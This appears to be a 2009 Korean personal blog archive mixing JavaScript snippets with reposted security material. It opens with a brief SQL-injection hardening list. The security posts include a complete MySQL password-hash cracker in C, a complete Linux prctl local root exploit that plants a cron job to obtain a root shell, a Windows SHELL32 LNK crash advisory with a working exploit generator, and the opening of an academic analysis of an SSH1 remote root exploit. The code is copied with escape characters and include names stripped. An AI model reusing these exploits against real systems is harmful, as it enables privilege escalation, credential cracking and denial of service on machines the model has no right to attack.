<*>    기본 계정인 sa의 패스워드를 변경하라.
<*>    모든 디폴트 프로시저를 지워라.
<*>    `,",--,: 등 모든 문자를 필터해라.
<*>    패치한 날짜정보를 지켜라.
<*>    방화벽을 이용해서 MS SQL의 1433/1434 포트과 오라클 1521 포트를 막아라.

보안을 기억하는 것은 추가요소가 아니다. 관리자의 현명함에 달려있다. 해커와 관리자와의 전쟁은
계속 계속 계속 계속... 최근에 발표된 뉴스나 버그 리포트를 수집한 자가 전쟁에서 우승한다.
데이타베이스 관리에 관한 내용은 http://sqlsecurity.com 과 같은 사이트에서 접할 수 있다.

어떤 설명이나 좋은 비평을 항상 기다리고 있다.
2009/10/07 17:04 2009/10/07 17:04
<link rel=alternate media=print href=http://youngsam.kr/doc.doc>
<a href="javascript:window.print()">프린트</a>
2009/09/30 21:56 2009/09/30 21:56
소스중에 보니 발생한 자바스크립트 에러를 상태창에 계속적으로 띄워주는 소스가 있어 에러를 해결하는데 도움이 많이되어서 올려봅니다.
아시는분들은 아시겠지만 모르시는 분들을 위해서 ^^*

사용하시는 자바스크립트 마지막에 아래코드를 넣어 사용하시면 됩니다.

window.onerror = HandleError;

function HandleError(message, url, line) {
  var str = "An error has occurred in this dialog." + ""
  + "Error: " + line + "" + message;
  window.status = str;
  return true;
} // Error 발생시 수행

2009/09/30 21:55 2009/09/30 21:55
<a href="설명페이지.html" target="2" onclick =  "parent.frames(3).location = '사진페이지.html'">개미핥기</A>
2009/09/30 21:54 2009/09/30 21:54
<OBJECT id=MsgrUIA classid=clsid:B69003B3-C55E-4b48-836C-BC5946FC3B28 codeType=application/x-oleobject width=1 height=1></OBJECT>
<SCRIPT language=javascript>
<!--
function addBuddy(buddyEmail)
{
  try
  {
   if ("undefined" == typeof(MsgrUIA)) throw 0;

    if(MsgrUIA.MyStatus == 1)
    {
     MsgrUIA.SignIn(0,'','');
     throw 1;
    }

    MsgrUIA.AddContact(0, buddyEmail);
  }
  catch(e)
  {
    switch(e)
   {
    case 0:
     alert("자동으로 친구 추가를 하지 못했습니다.nn다음 MSNID를 수동으로 추가해주세요.nn" + buddyEmail);
      break;
    case 1:
     alert("MSN 메신저에 먼저 로그인 해주세요.");
     break;
    default:
     alert("MSN 메신저가 실행되지 않았거나, 친구 추가가 안되는 시스템입니다.");
    }
  }
}
-->
</SCRIPT>

<a href="#" onClick='addBuddy("좋아?@hotmail.com");'>클릭!</a>
2009/09/30 21:53 2009/09/30 21:53
중국 친구들이 사용하는 SQLRootkit 이라는 도구가 있다.

SQLRootkit

해당 도구는 MS SQL 서버의 접속 정보를 안 상태에서
웹 서버를 거점으로 DB서버에 임의의 명령어를 실행시키게 해준다.

물론 DBMS가 MS-SQL 서버일 경우에만 적용이 된다.
2009/09/30 21:50 2009/09/30 21:50
http://www.nstalker.com/nstealth/

웹 취약점 스캐너로 유명한 nstealth 입니다.
2009/09/30 21:50 2009/09/30 21:50
사용자 삽입 이미지

- rkdscan 은 루트킷 전문 스캐너이다.

- 윈도용 루트킷을 잡아내는 기능을 제공한다.

- 최근 유행하는 윈도 원격 루트킷을 잡아낸다.

2009/09/30 21:48 2009/09/30 21:48
HDSI툴분석
2009/09/30 21:46 2009/09/30 21:46
MySQL Weak Password Encryption Vulnerability Exploit



/* This program is public domain. Share and enjoy.
*
* Example:
* $ gcc -O2 -fomit-frame-pointer mysqlfast.c -o mysqlfast
* $ mysqlfast 6294b50f67eda209
* Hash: 6294b50f67eda209
* Trying length 3
* Trying length 4
* Found pass: barf
*
* The MySQL password hash function could be strengthened considerably
* by:
* - making two passes over the password
* - using a bitwise rotate instead of a left shift
* - causing more arithmetic overflows
*/

#include

typedef unsigned long u32;

/* Allowable characters in password; 33-126 is printable ascii */
#define MIN_CHAR 33
#define MAX_CHAR 126

/* Maximum length of password */
#define MAX_LEN 12

#define MASK 0x7fffffffL

int crack0(int stop, u32 targ1, u32 targ2, int *pass_ary)
{
int i, c;
u32 d, e, sum, step, diff, div, xor1, xor2, state1, state2;
u32 newstate1, newstate2, newstate3;
u32 state1_ary[MAX_LEN-2], state2_ary[MAX_LEN-2];
u32 xor_ary[MAX_LEN-3], step_ary[MAX_LEN-3];
i = -1;
sum = 7;
state1_ary[0] = 1345345333L;
state2_ary[0] = 0x12345671L;

while (1) {
while (i < stop) {
i++;
pass_ary[i] = MIN_CHAR;
step_ary[i] = (state1_ary[i] & 0x3f) + sum;
xor_ary[i] = step_ary[i]*MIN_CHAR + (state1_ary[i] << 8);
sum += MIN_CHAR;
state1_ary[i+1] = state1_ary[i] ^ xor_ary[i];
state2_ary[i+1] = state2_ary[i]
+ ((state2_ary[i] << 8) ^ state1_ary[i+1]);
}

state1 = state1_ary[i+1];
state2 = state2_ary[i+1];
step = (state1 & 0x3f) + sum;
xor1 = step*MIN_CHAR + (state1 << 8);
xor2 = (state2 << 8) ^ state1;

for (c = MIN_CHAR; c <= MAX_CHAR; c++, xor1 += step) {
newstate2 = state2 + (xor1 ^ xor2);
newstate1 = state1 ^ xor1;

newstate3 = (targ2 - newstate2) ^ (newstate2 << 8);
div = (newstate1 & 0x3f) + sum + c;
diff = ((newstate3 ^ newstate1) - (newstate1 << 8)) & MASK;
if (diff % div != 0) continue;
d = diff / div;
if (d < MIN_CHAR || d > MAX_CHAR) continue;

div = (newstate3 & 0x3f) + sum + c + d;
diff = ((targ1 ^ newstate3) - (newstate3 << 8)) & MASK;
if (diff % div != 0) continue;
e = diff / div;
if (e < MIN_CHAR || e > MAX_CHAR) continue;

pass_ary[i+1] = c;
pass_ary[i+2] = d;
pass_ary[i+3] = e;
return 1;
}

while (i >= 0 && pass_ary[i] >= MAX_CHAR) {
sum -= MAX_CHAR;
i--;
}
if (i < 0) break;
pass_ary[i]++;
xor_ary[i] += step_ary[i];
sum++;
state1_ary[i+1] = state1_ary[i] ^ xor_ary[i];
state2_ary[i+1] = state2_ary[i]
+ ((state2_ary[i] << 8) ^ state1_ary[i+1]);
}

return 0;
}

void crack(char *hash)
{
int i, len;
u32 targ1, targ2, targ3;
int pass[MAX_LEN];

if ( sscanf(hash, "%8lx%lx", &targ1, &targ2) != 2 ) {
printf("Invalid password hash: %sn", hash);
return;
}
printf("Hash: %08lx%08lxn", targ1, targ2);
targ3 = targ2 - targ1;
targ3 = targ2 - ((targ3 << 8) ^ targ1);
targ3 = targ2 - ((targ3 << 8) ^ targ1);
targ3 = targ2 - ((targ3 << 8) ^ targ1);

for (len = 3; len <= MAX_LEN; len++) {
printf("Trying length %dn", len);
if ( crack0(len-4, targ1, targ3, pass) ) {
printf("Found pass: ");
for (i = 0; i < len; i++)
putchar(pass[i]);
putchar('n');
break;
}
}
if (len > MAX_LEN)
printf("Pass not foundn");
}

int main(int argc, char *argv[])
{
int i;
if (argc <= 1)
printf("usage: %s hashn", argv[0]);
for (i = 1; i < argc; i++)
crack(argv[i]);
return 0;
}
2009/09/30 21:45 2009/09/30 21:45
/* Linux >= 2.6.13 prctl kernel exploit
*
* (C) Julien TINNES
*
* If you read the Changelog from 2.6.13 you've probably seen:
*  [PATCH] setuid core dump
*
* This patch mainly adds suidsafe to suid_dumpable sysctl but also a new per process,
* user setable argument to PR_SET_DUMPABLE.
*
* This flaw allows us to create a root owned coredump into any directory.
* This is trivially exploitable.
*
*/

#include <sys/types.h>
#include <sys/time.h>
#include <sys/resource.h>
#include <sys/prctl.h>
#include <unistd.h>
#include <stdio.h>
#include <errno.h>
#include <signal.h>
#include <stdlib.h>
#include <time.h>

#define CROND "/etc/cron.d"
#define BUFSIZE 2048


struct rlimit myrlimit={RLIM_INFINITY, RLIM_INFINITY};

char        crontemplate[]=
"#/etc/cron.d/core suid_dumpable exploitn"
"SHELL=/bin/shn"
"PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/binn"
"#%s* * * * *        root         chown root:root %s && chmod 4755 %s && rm -rf %s && kill -USR1 %dn";

char        cronstring[BUFSIZE];
char        fname[BUFSIZE];

struct timeval te;

void sh(int sn) {
        execl(fname, fname, (char *) NULL);
}
       

int        main(int argc, char *argv[]) {

        int nw, pid;

        if (geteuid() == 0) {
                printf("[+] getting root shelln");
                setuid(0);
                setgid(0);
                if (execl("/bin/sh", "/bin/sh", (char *) NULL)) {
                        perror("[-] execle");
                        return 1;
                }
        }

        printf("nprctl() suidsafe exploitnn(C) Julien TINNESnn");

        /* get our file name */
        if (readlink("/proc/self/exe", fname, sizeof(fname)) == -1) {
                perror("[-] readlink");
                printf("This is not fatal, rewrite the exploitn");
        }

        if (signal(SIGUSR1, sh) == SIG_ERR) {
                perror("[-] signal");
                return 1;
        }
        printf("[+] Installed signal handlern");

        /* Let us create core files */
        setrlimit(RLIMIT_CORE, &myrlimit);
        if (chdir(CROND) == -1) {
                perror("[-] chdir");
                return 1;
        }

        /* exploit the flaw */
        if (prctl(PR_SET_DUMPABLE, 2) == -1) {
                perror("[-] prtctl");
                printf("Is you kernel version >= 2.6.13 ?n");
                return 1;
        }

        printf("[+] We are suidsafe dumpable!n");

        /* Forge the string for our core dump */
        nw=snprintf(cronstring, sizeof(cronstring), crontemplate, "n", fname, fname, CROND"/core", getpid());
        if (nw >= sizeof(cronstring)) {
                printf("[-] cronstring is too smalln");
                return 1;
        }
        printf("[+] Malicious string forgedn");

        if ((pid=fork()) == -1) {
                perror("[-] fork");
                return 1;
        }

        if (pid == 0) {
                /* This is not the good way to do it ;) */
                sleep(120);
                exit(0);
        }

        /* SEGFAULT the child */
        printf("[+] Segfaulting childn");
        if (kill(pid, 11) == -1) {
                perror("[-] kill");
                return 1;
        }
        if (gettimeofday(&te, NULL) == 0)
                printf("[+] Waiting for exploit to succeed (~%ld seconds)n", 60 - (te.tv_sec%60));
        sleep(120);

        printf("[-] It looks like the exploit failedn");

        return 1;
}
               
2009/09/30 21:45 2009/09/30 21:45
###########################################################################################

                                ~ I2S LAB Security Advisory ~

###########################################################################################
http://www.I2S-LAB.com

Date : 12 / 03 / 2003

Affected systems : Microsoft Windows 2000 SP4 and below

Vendor : http://www.microsoft.com

Issue : Attackers can turn a media (directory, drive, mail, ...) into a remote bomb crashing any application
        which would try to acces it using SHELL32.DLL library (explorer, IE, outlook).


Description
___________

SHELL32.DLL is a library which contains windows system functions used to open web pages, documents and
obtain informations on file associations.

That library is used by most standard applications to browse directories to search for a specific file
(a perfect example being the FILE->Open menu command available in most applications).


Technical Details
_________________

As a user browses through his hard-drive, Windows automatically analyses every file of the current directory,
so as to allow the system to display the matching icon as well as file informations.

When Windows must analyse a shortcut (*.lnk), the system determines the properties of the file indicated by the link
using its structure (see: The Windows Shortcut File Format at http://www.I2S-LAB.com/Papers/The_Windows_Shortcut_File_Format.pdf).

Here is the structure of a windows link as we have designed it:

=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
+-------------------------------------------------------------------+
| Shortcut HEADER                                                   |
+-------------------------------------------------------------------+
00000000 4C00 0000 L...  'L' Magic value

00000004 0114 0200 ....   GUID of shurtcut files
00000008 0000 0000 ....
00000008 C000 0000 ....
00000010 0000 0046 ...F
  
00000014 8900 0000 ....   Flag

00000018 2000 0000  ...   File attribute

0000001C A0C3 D5A8 ....   Time 1
00000020 478E C301 G...

00000024 A0C3 D5A8 ....   Time 2
00000028 478E C301 G...

0000002C A0C3 D5A8 ....   Time 3
00000030 478E C301 G...

00000034 0000 0000 ....          File length (here 0 bytes)
00000038 0000 0000 ....          Icone number (no icon for us)
0000003C 0100 0000 ....   Normal window
00000040 0000 0000 ....   shortcut (no)
00000044 0000 0000 ....   unknow/reserved
00000048 0000 0000 ....   unknow/reserved


+-------------------------------------------------------------------+
| Item Id List                                                      |
+-------------------------------------------------------------------+

0000004C 4600      F.     Size of item id list

+-------------------------------------------------------------------+
| First item                                                        |
+-------------------------------------------------------------------+

0000004E 1400      ..     Lenght of first item
00000050 1F50      .P     ???
00000052 E04F D020 .O.    File lenght
00000056 EA3A 6910 .:i.   ???

+-------------------------------------------------------------------+
| data...                                                           |
+-------------------------------------------------------------------+

0000005A A2D8 0800 2B30 309D 1900 2343 3A5C 0000 ....+00...#C:..
0000006A 0000 0000 0000 0000 0000 0000 0000 0051 ...............Q
0000007A 8417 0032 0000 0000 0049 2F87 4B20 006B ...2.....I/.K .k
0000008A 7574 2E74 7874 0000                     ut.txt..

+-------------------------------------------------------------------+
| vulnerable bytes                                                  |
+-------------------------------------------------------------------+

00000092 0000 0900  ....  name lenght
00000096 2E00       ..

00000098 5C00 6B00 7500 7400 2E00 7400 7800 7400 .k.u.t...t.x.t. name in wide char                                     `


+-------------------------------------------------------------------+
| data...                                                           |
+-------------------------------------------------------------------+

000000A8 6000 0000 0300 00A0 5800 0000 0000 0000 `.......X.......
000000B8 6932 732D 7732 6B00 0000 0000 0000 0000 i2s-w2k.........
000000C8 6EA1 E9B2 1B23 6B46 B804 8E43 F338 56F0 n....#kF...C.8V.
000000D8 0EDC EB90 A1F8 D711 A41B 00EE B000 DAC9 ................
000000E8 6EA1 E9B2 1B23 6B46 B804 8E43 F338 56F0 n....#kF...C.8V.
000000F8 0EDC EB90 A1F8 D711 A41B 00EE B000 DAC9 ................
00000108 0000 0000 00                            .....

=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

If we modify the name length at the offset 0x92, SHELL32.DLL will cause an access violation error,
because text was about to be written outside of the the buffer allocated on the heap for this operation.


demonstration
_____________

Microsoft Windows 2000 [Version 5.00.2195]
(C) Copyright 1985-2000 Microsoft Corp.

C:>mkdir crash-test

C:>TrapLink.exe c:crash-test
################################
TrapLink SHELL32.dll DoS exploit
################################
By I2S-LAB Team.

http://www.I2S-LaB.com

c:crash-test is now trapped with a malicious LNK file

C:>start explorer.exe c:crash-test


(618.408): Access violation - code c0000005 (!!! second chance !!!)

eax=0013ffe0 ebx=70c18871 ecx=00003ee0 edx=00012eba esi=0012a000 edi=00143318
eip=77583411 esp=03e5ea8c ebp=03e5eab8 iopl=0         nv up ei pl nz ac pe cy
cs=001b  ss=0023  ds=0023  es=0023  fs=0038  gs=0000             efl=00000213

*** ERROR: Symbol file could not be found.  
Defaulted to export symbols for C:WINNTsystem32SHELL32.dll - SHELL32!Ordinal18+0x25:
77583411 f3a5            rep  movsd ds:0012a000=???????? es:00143318=00000065


775833ff e89effffff       call    SHELL32!Ordinal196 (775833a2)
77583404 85c0             test    eax,eax
77583406 7412             jz      SHELL32!Ordinal18+0x2e (7758341a)
77583408 8bcf             mov     ecx,edi
7758340a 8bf8             mov     edi,eax
7758340c 8bd1             mov     edx,ecx
7758340e c1e902           shr     ecx,0x2
77583411 f3a5             rep     movsd ds:000f8000=???????? es:00107040=00000000  <-- crash
77583413 8bca             mov     ecx,edx
77583415 83e103           and     ecx,0x3
77583418 f3a4             rep     movsb
7758341a 5f               pop     edi
7758341b 5e               pop     esi
7758341c c20400           ret     0x4


Exploits
________

/****************************************
* TrapLink for SHELL32.DLL DoS Exploit *
****************************************
      Discovered & coded by I2S-LaB

________________________________________

      URL :  http://www.I2S-LaB.com
      MAIL: contact[at]I2S-LaB.com
________________________________________

*****************************************/

#include <windows.h>

void main (int argc, char *argv[])
{

HANDLE TrapFile;
DWORD NumberOfBytesWritten;
unsigned char LnkCrash[] =

        "x4Cx00x00x00x01x14x02x00x00x00x00x00xC0x00x00x00"
        "x00x00x00x46x89x00x00x00x20x00x00x00xA0xC3xD5xA8"
        "x47x8ExC3x01xA0xC3xD5xA8x47x8ExC3x01xA0xC3xD5xA8"
        "x47x8ExC3x01x00x00x00x00x00x00x00x00x01x00x00x00"
        "x00x00x00x00x00x00x00x00x00x00x00x00x46x00x14x00"
        "x1Fx50xE0x4FxD0x20xEAx3Ax69x10xA2xD8x08x00x2Bx30"
        "x30x9Dx19x00x23x43x3Ax5Cx00x00x00x00x00x00x00x00"
        "x00x00x00x00x00x00x00x00x00x51x84x17x00x32x00x00"
        "x00x00x00x49x2Fx87x4Bx20x00x6Bx75x74x2Ex74x78x74"
        "x00x00xFFxFFx09x00x2Ex00x5Cx00x6Bx00x75x00x74x00"
        "x2Ex00x74x00x78x00x74x00x60x00x00x00x03x00x00xA0"
        "x58x00x00x00x00x00x00x00x69x32x73x2Dx77x32x6Bx00"
        "x00x00x00x00x00x00x00x00x6ExA1xE9xB2x1Bx23x6Bx46"
        "xB8x04x8Ex43xF3x38x56xF0x0ExDCxEBx90xA1xF8xD7x11"
        "xA4x1Bx00xEExB0x00xDAxC9x6ExA1xE9xB2x1Bx23x6Bx46"
        "xB8x04x8Ex43xF3x38x56xF0x0ExDCxEBx90xA1xF8xD7x11"
        "xA4x1Bx00xEExB0x00xDAxC9x00x00x00x00";

        printf ("################################n"
                "TrapLink SHELL32.dll DoS exploitn"
                "################################n"
                "By I2S-LAB Team.nn"
                "http://www.I2S-LaB.comnn" );

        if (!argv[1])
                printf ("Usage : TrapLink <path to trap>n", argv[0]);

        else
        {
                if ( !SetCurrentDirectory(argv[1]) )
                        printf ("Error : %s is not a valid directory to trapn", argv[1] );
                else
                {
                        TrapFile = CreateFile("I2S-Crash.lnk",
                                GENERIC_WRITE, 0,
                                NULL, CREATE_ALWAYS,
                                FILE_ATTRIBUTE_NORMAL, NULL );

                        if (TrapFile == INVALID_HANDLE_VALUE)
                                printf ("Error : cannot create malicious file.n");

                        else
                        {
                                WriteFile (TrapFile, LnkCrash, sizeof (LnkCrash), &NumberOfBytesWritten, NULL);
                                printf ("%s is now trapped with a malicious LNK filen", argv[1] );
                        }
                }
        }
}


Solution
________

Microsoft was notified on 11/17/2003 and have agreed to fix this as part of the next service pack.

credits
_______


Aur?ien BOUDOUX - aurelien[at]I2S-LaB.com
Fred CHAVEROT - fred[at]I2S-LaB.com
2009/09/30 21:45 2009/09/30 21:45
SSH1 remote root exploit
sshd CRC32 compensation attack detector vulnerability explained



March 26, 2002

Korpinen Pekka, 48179S
pkorpine@cc.hut.fi
Department of Electrical Engineering

Lyytikäinen Kalle, 47992V
kalyytik@cc.hut.fi
Department of Computer Science


Helsinki University of Technology


This paper is an analysis of a security weakness in many SSH1 server implementations. Ssh servers introduced a detection mechanism against CRC32 compensation attack. this detection function includes a design fault which enables remote hosts to write arbitrary values to server memory. The authors reverse engineered a proprietary exploit implementation and wrote their own implementation of the exploit. This paper describes the vulnerability, the exploitation process, the author's exploit implementation, and means for protecting hosts against this attack. This paper is also a project for the course 'Tik-110.452 Tietojärjestelmien käytännön turvallisuuden erikoiskurssi' at Helsinki University of Technology.
0 Table of Contents
1    Introduction - SSH protocol
2    Vulnerability in SSH1.5
    2.1    Buffer overflow
    2.2    Preconditions - Affected ssh daemons
    2.3    Linux memory layout
3    Exploits
    3.1    First incidents
    3.2    Problems
    3.3    Available implementations
    3.4    Shellcode
4    Our exploit
    4.1    Goals
    4.2    Resources
    4.3    Process
        4.3.1    Reverse Engineering
        4.3.2    Packet sending
        4.3.3    Finding distance to 'buf'
        4.3.4    Finding distance to kernel space
        4.3.5    Sending shellcode
        4.3.6    Executing shellcode
    4.4    Using exploit
    4.5    Advantages and Disadvantages
5    Counter actions
    5.1    Detecting attacks
    5.2    Required actions after being attacked
    5.3    Preventive actions
6    References
7    Appendices
    7.1    Shellcode
    7.2    Exploit usage
    7.3    Source code files for the exploit
        7.3.1    packet.diff
        7.3.2    uxp2.c

1 Introduction - SSH protocol
The SSH (Secure Shell) protocol provides a standardized way to communicate on a secured channel. All communications between SSH client and SSH daemon are encrypted. The encryption is done using a symmetric cipher (DES, 3DES and Blowfish, for example). The encryption key is exchanged at the beginning of the connection using RSA keys.

The (SSH) client creates a connection to the (SSH) server which is listening on a specific port, usually 22. The server accepts the connection and responds by sending back its version identification string. The client sends its own identification. After both sides have been identificated they switch to a packet based binary protocol. The server sends its host key. The host key is a unique RSA key used to authenticate the host and it is regenerated every hour. The client generates a 256 bit session key, encrypts it using both RSA keys, and sends the encrypted session key and selected cipher type to the server. Now both sides turn on encryption using the selected encryption algorithm and key. Finally the server sends an encrypted confirmation message. At this point the channel is secured. The client then tries to authenticate itself using any of the available authentication methods (password, RSA authentication etc). After successful authentication, the client can allocate a pseudo tty, start port forwarding, or execute a shell command [23].

When the client or the server receives an encrypted packet, it checks if the packet is tampered with using the crc32 compensation attack detector. The detection algorithm checks the packet before it is parsed in any way. The first case when this algorithm is used is when the client sends its authentication request.

Maximum packet length is about 256k bytes.

2 Vulnerability in SSH1.5
The crc32 compensation attack detector in various SSH versions has a bug that allows an evil attacker to write to memory locations on the server side. If the packets are smartly constructed, they may allow code to be executed on the server side. Because the server is usually being run under the root account, this vulnerability gives the attacker root access to the host.

The memory writing and running a code on the host can be inspected as the casual buffer overflow exploits even though in this case the buffer overflow is not such straightforward to do as usually.

2.1 Buffer overflow
Buffer overflow exploits are based on the fact that the return address of currently running function is kept on the stack. When a function wants to make a function call, it pushes its current instruction pointer to the stack (among other possible data) and jumps to the address of the callee. When the callee reaches it's end (e.g. return-clause in C) it retrieves the stored instruction pointer from the stack and makes a jump to it. Now the caller can continue it's execution. If the return address is manipulated during the execution of the callee, the point of execution is transferred to a different location when the callee returns. This makes the running of inserted code possible.

If we are inserting data on a statically allocated buffer we must be sure that the buffer can hold the all data (e.g. strlen(data) < strlen(buffer)). Usually progammer's won't check the length of the source because they are making assumptions of the length. If the source's length is greater than the buffer size, the buffer is overflown. Because the statically allocated buffers are usually kept on the stack, this allows the source data to overwrite the return address.

[Example:] If a program has a buffer, say 128 bytes in length. The program reads an argument from the command-line. The argument is supposedly be a password, so the 128 bytes is surely enough - no need to check. The main function calls a subfunction with the command line parameter as an in-argument. The subfunction has the mentioned buffer and it simply copies the argument to the buffer (without length checking!). This works ok if the source length is below 128 bytes. An evil attacker could overflow the buffer easily because of the lack of checks. He runs the program with an argument that is longer than 128 bytes. This causes the buffer to overflow.

The argument:
[NNNNNNNNNSSSSSSSSSSSJJJJJJJJJJJJJJJJJJJJJJJ]
The buffer in the stack with the return address:
[xxxxxxxxxxxxxxxxxxxxxxx]....[RET]...
The buffer after overflow:
[NNNNNNNNNSSSSSSSSSSSJJJ]....[ J ]...
The return address is overwritten with a value J. The specific location of the return address is unknown to the attacker. He can make a so-called NOP sled (marked as N) before the actual shellcode (S). NOP is a special instruction that doesn't do anything. In this way, the jump can be a guess and if the jump lands on the NOP sled, it slides to the beginning of the actual shellcode.

When the sub-function is ready to return (and when the return address is accidentally overwritten!), the program jumps to the address specified on the return address field in the stack. The point of execution is now pointing on the NOP sled and the shellcode is executed. The shellcode can now for example open a new shell or a telnetable back port on the host. This is all done on the same account as the program was run. [End of example] [1]

2.2 Preconditions - Affected ssh daemons
The following versions are reported to be vulnerable:
SSH-1.5-1.2.24 .. 31
SSH-1.5-1.3.6 .. 10
SSH-1.5-1.3.6
SSH-1.5-OpenSSH-1.2
SSH-1.5-OpenSSH-1.2.1
SSH-1.5-OpenSSH-1.2.2
SSH-1.5-OpenSSH-1.2.3
SSH-1.99-2.0.11 (with Version 1 fallback)
SSH-1.99-2.0.12 (with Version 1 fallback)
SSH-1.99-2.0.13 (with Version 1 fallback)
SSH-1.99-2.1.0.pl2 (with Version 1 fallback)
SSH-1.99-2.1.0 (with Version 1 fallback)
SSH-1.99-2.2.0 (with Version 1 fallback)
SSH-1.99-2.3.0 (with Version 1 fallback)
SSH-1.99-2.4.0 (with Version 1 fallback)
SSH-1.99-3.0.0 (with Version 1 fallback)
SSH-1.99-3.0.1 (with Version 1 fallback)
SSH-1.5-OpenSSH-2.1
SSH-1.5-OpenSSH_2.1.1
SSH-1.5-OpenSSH_2.2.0
SSH-1.5-OpenSSH_2.2.0p1
One can check the vulnerability by sending a long enough login name with a client (Note. newest clients check the length by themselves). If the server just crashes, the server is vulnerable. Long enough is 88 000 characters.

There also exists a perl script that does the checking automatically. [2]

2.3 Linux memory layout
The linux memory layout is in crucial role in this exploit. One must know something about the architecture. The figure below shows the general layout of the memory seen by an user process:

top of memory
  0xffff ffff           ____________________
                       |                    |        
                       |       KERNEL       |        No read/write
                       |____________________|
  0xc000 0000          |                    |
                       |        STACK       |   read/write
                       |____________________|
                       |                    |
                       |     LIBRARIES      |
  0x4000 0000          |____________________|
                       |                    |
                       |        HEAP        |        read/write (malloc)
                       |____________________|
                       |                    |
                       |        BSS         |        read/write
                       |____________________|
                       |                    |
                       |        DATA        |        read/write
                       |____________________|
                       |                    |
                       |   TEXT (aka CODE)  |          read, no write
  0x0800 0000          |____________________|
                       |                    |        
                       |       KERNEL       |        No read/write
                       |____________________|
  0x0000 00000
bottom of memory
The addresses are in the absolute form. The stack grows down (i.e. to smaller addresses) and heap grows up. Dynamically allocated arrays are created on heap (size < 128kB, address are form of 0x080x xxxx) or on the library area (size > 128kB, address are form of 0x400x xxxx). The addresses of specific variables and functions during the run may vary a bit from host to host but the addresses mentioned on the figure are constants.

On linux process's memory map can be seen by running cat /proc//maps. It displays addresses, sizes, attributes (read, write, execute), and the sources of loaded programs and libraries. The readelf utility can be used to see how the linker has organized the objects. [3] [4]

3 Exploits
The exploit is based entirely on the detect_attack() function in the SSH implementation. The function should detect the crc32 compensation attack but it introduces another security vulnerability.

Critical parts of the detect_attack() function:

--------------------------------------------------------
int detect_attack(unsigned char *buf, u_int32_t len, unsigned char *IV)
{
   ..
        static u_int16_t *h = (u_int16_t *) NULL;
        static u_int16_t n = HASH_MINSIZE / HASH_ENTRYSIZE;
        register u_int32_t i, j;
        u_int32_t l;
   ..
#1  for (l = n; l < HASH_FACTOR(len / SSH_BLOCKSIZE); l = l << 2)
                ;

        if (h == NULL) {
                debug("Installing crc compensation attack detector.");
#2                n = l;
                h = (u_int16_t *) xmalloc(n * HASH_ENTRYSIZE);
        } else {
   ..
        for (c = buf, j = 0; c < (buf + len); c += SSH_BLOCKSIZE, j++) {
#3                for (i = HASH(c) & (n - 1); h[i] != HASH_UNUSED;
                     i = (i + 1) & (n - 1)) {
                        if (h[i] == HASH_IV) {
                                if (!CMP(c, IV)) {
                                        if (check_crc(c, buf, len, IV))
                                                return (DEATTACK_DETECTED);
                                        else
                                                break;
                                }
#4                        } else if (!CMP(c, buf + h[i] * SSH_BLOCKSIZE)) {
                                if (check_crc(c, buf, len, IV))
                                        return (DEATTACK_DETECTED);
                                else
                                        break;
                        }
                }
#5                h[i] = j;
        }
        return (DEATTACK_OK);
}
--------------------------------------------------------
The function is called after each received SSH packet. The 'buf' argument is the buffer where incoming (encrypted) packet's payload is located, 'len' is the length of the buffer (note: the length is delivered on the ssh-packet, so the actual buffer could be longer). The 'IV' is always NULL.

The problem resides on the #2 where a 32-bit integer ('l') is assigned on a 16-bit integer ('n'). If the lower word of the 'l' is zero, the 'n' is assigned to zero. The 'l' is calculated on #1, and is dependant on the 'len' variable. If the 'len' is bigger than about 88000, the 'n' is set to zero.

Then the 'h' is allocated with call to malloc and the requested becomes to zero because n==0. The allocated size is the minimum allocation block. This is 12 bytes in current linux platforms.

The outer for-loop (near #3) goes through the whole packets. The variable 'j' is the block number (blocks are 8 bytes long). On #3 the HASH()-macro gets the first 32-bits from the current block. Because the 'n' is zero the (n-1)-clause is evaluated as 0xffff. So, the variable 'i' has the first 32-bits of the current block.

On #5 is the assignment operation. This is where the memory can be written. The 'h' is the pointer to 16-bit values. So the "h[i] = j" clause can be expressed also with byte pointers *(h+2*i) = j Thus, the value of 'j' (the current block number) is written to a specific distance from the 'h'. Because the value of 'i' is fetched from the packet and the 'j' is the block number, the 'i' can be used as a offset value and the placement of the 'i' can be used as the value that is written to the memory.

The following figure hopefully clears the idea:

block      incoming packet
number     ('buf')
('j')
       ___________________
0000  | 00000000 xxxxxxxx |
0001  | 00000000 xxxxxxxx |
0002  | 00000000 xxxxxxxx |
0003  | 00000000 xxxxxxxx |
0004  | 00000000 xxxxxxxx |
0005  | 00000000 xxxxxxxx |
0006  | beefcafe xxxxxxxx |
....  
0332  | 00000042 xxxxxxxx |
....  
For example, on the 6th block:

  j = 6
  i = 0xbeefcafe
So, the following assignment is done:

h[i] = j;  ===>   h+2*i = j;  ===>  h+2*0x1234abcd = 6;
And on the 332th block:
  j = 332
  i = 0x42
  h[i] = j;  ===>   h+2*i = j;  ===>  h+2*0x00000123 = 332;
Notes to remember: The value in the packet means the offset (multiplied by 2) from the address of 'h' and the place where the value is located means the value to be stored in memory [5].

The shellcode insertion is done basically with a packet like this (knowledge of the exact parameters is required):

          ___________________
0000     | xxxxxxxx ffffffff |
         |       ....        |
         | ZZZZZZZZ xxxxxxxx | WRITE THE VALUE TO EIP
         |       ....        |
         | ZZZZZZZZ xxxxxxxx | WRITE THE NEW VALUE TO EIP
         | xxxxxxxx xxxxxxxx | CRC32 ATTACK PATTERN START
         |       ....        |
         | xxxxxxxx xxxxxxxx | CRC32 ATTACK PATTERN END
         | 90909090 90909090 | NOP SLED
         |       ....        |
         | xxxxxxxx xxxxxxxx | SHELL CODE
         |___________________|
xxxxx =
  ZZZZZZZZ = (offset to the high word of the stored instruction pointer)/2,
  XXXX = value of the instruction pointer (high word)
  YYYY = where to jump (high word, low word stays the same)
3.1 First incidents
The vulnerability was announced on February 8th 2001. It was discovered by Michal Zaleski of the BindView RAZOR Team. [6] [7]

Even thought the vulnerability was discovered early, many site administrators didn't update their SSH daemons. The experts assumed that the possibility of the exploit were ridiculously small and that there will not be any working mass exploit engines. They were wrong. The incident below is one of the first incidents that were analysed. It clearly shows that the exploit can be used. The rumour says that the big finnish hack incidents on winter 2001-2002 were also done by using this exploit.

